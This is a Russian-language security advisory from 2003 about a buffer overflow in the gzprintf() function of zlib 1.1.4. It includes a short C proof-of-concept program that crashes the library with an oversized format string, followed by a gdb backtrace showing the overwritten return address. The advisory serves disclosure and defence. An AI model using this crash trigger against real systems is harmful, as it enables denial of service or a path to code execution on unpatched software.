Security Lab

Переполнение буфера в 'gzprintf()' в zlib Compression Library

Дата публикации:27.02.2003
Всего просмотров:1516
Опасность:
Наличие исправления:
Количество уязвимостей:1
CVE ID: Нет данных
Вектор эксплуатации:
Воздействие:
CWE ID: Нет данных
Наличие эксплоита: Нет данных
Уязвимые продукты:
Описание: Переполнение буфера обнаружено в некоторых конфигурациях zlib. Воздействие изменяется в зависимости от приложения, использующего zlib библиотеку.

В заданной по умолчанию конфигурации можно переполнить буфер в функции gzprintf() параметрами, длина которых более значения Z_PRINTF_BUFSIZE (4096 по умолчанию).

Согласно сообщению, если включена '#define (HAS_vsnprintf)' инструкция (не используется в заданной по умолчанию конфигурации), zlib будет использовать потенциально более безопасную vsnprintf() функцию, вместо vsprintf() функции. Однако, чрезмерно длинные строки будут тихо усечены vsnprintf(), что может привести к некоторым проблемам защиты.

Определенное воздействие переполнения стека или усечения строки будет зависеть от используемого приложения. В большинстве случаев уязвимость может использоваться для выполнения произвольного кода или DoS нападения.

Уязвимость обнаружена в zlib Compression Library 1.1.4

Демонстрационный эксплоит:

ttfn/rjk

    $ cat crashzlib.c
    #include <zlib.h>
    #include <errno.h>
    #include <stdio.h>

    int main(void) {
      gzFile f;
      int ret;

      if(!(f = gzopen("/dev/null", "w"))) {
        perror("/dev/null");
        exit(1);
      }
      ret = gzprintf(f, "%10240s", "");
      printf("gzprintf -> %d\n", ret);
      ret = gzclose(f);
      printf("gzclose -> %d [%d]\n", ret, errno);
      exit(0);
    }
    $ gcc -g -o crashzlib crashzlib.c -lz
    $ ./crashzlib 
    Segmentation fault (core dumped)
    $ 
    $ dpkg -l zlib\* | grep ^i
    ii  zlib1g         1.1.4-1        compression library - runtime
    ii  zlib1g-dev     1.1.4-1        compression library - development
    $ gdb crashzlib core
    GNU gdb 2002-04-01-cvs
    Copyright 2002 Free Software Foundation, Inc.
    GDB is free software, covered by the GNU General Public License, and you are
    welcome to change it and/or distribute copies of it under certain conditions.
    Type "show copying" to see the conditions.
    There is absolutely no warranty for GDB.  Type "show warranty" for details.
    This GDB was configured as "i386-linux"...
    Core was generated by `           '.
    Program terminated with signal 11, Segmentation fault.
    Reading symbols from /usr/lib/libz.so.1...done.
    Loaded symbols for /usr/lib/libz.so.1
    Reading symbols from /lib/libc.so.6...done.
    Loaded symbols for /lib/libc.so.6
    Reading symbols from /lib/ld-linux.so.2...done.
    Loaded symbols for /lib/ld-linux.so.2
    #0  0x400944b2 in _IO_default_xsputn () from /lib/libc.so.6
    (gdb) bt
    #0  0x400944b2 in _IO_default_xsputn () from /lib/libc.so.6
    #1  0x4008b52a in _IO_padn () from /lib/libc.so.6
    #2  0x40075128 in vfprintf () from /lib/libc.so.6
    #3  0x4008c0c3 in vsprintf () from /lib/libc.so.6
    #4  0x4001c923 in gzprintf () from /usr/lib/libz.so.1
    #5  0x20202020 in ?? ()
    Cannot access memory at address 0x20202020
    (gdb) $ 
Ссылки: buffer overrun in zlib 1.1.4